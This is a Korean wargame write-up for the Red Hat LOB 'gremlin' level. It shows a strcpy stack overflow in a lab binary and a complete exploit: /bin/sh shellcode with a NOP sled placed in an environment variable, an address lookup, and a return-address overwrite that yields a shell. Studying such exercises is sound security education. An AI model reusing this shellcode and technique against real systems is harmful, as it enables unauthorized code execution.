[redhat-lob] (1) gremlin

Source code

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

Vulnerabliity Vector

main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

Buffer Overflow

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./gremlin `python -c "print 'a'*256"`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa
$ ./gremlin `python -c "print 'a'*260"`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaa

Segmentation fault

exploit

환경 변수 상에 쉘코드 등록

환경 변수에 쉘코드를 등록해두고, 입력값 마지막 리턴 주소를 환경 변수 주소로 변경하여 해당 쉘코드를 실행하도록 한다.

$ export shellcode=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

환경 변수 주소 값 확인

다음과 같이 소스코드를 작성하여 shellcode 환경 변수에 대한 주소 값을 획득.

#include <stdio.h>
int main(int argc, char **argv)
{
    char *addr;
    addr = getenv(argv[1]);
    printf("address %p\n", addr);
    return 0;
}

$ gcc -o get get.c

get.c: In function `main':
get.c:5: warning: assignment makes pointer from integer without a cast

$ ./get shellcode

address 0xbffffc4c

환경 변수 주소 쉘코드 실행

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers ->> shellcode
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.

$ ./gremlin `python -c 'print "\x90"*260+"\x4c\xfc\xff\xbf"'`

bash$ whoami
gremlin
bash$ my-pass
euid = 501
hello bof world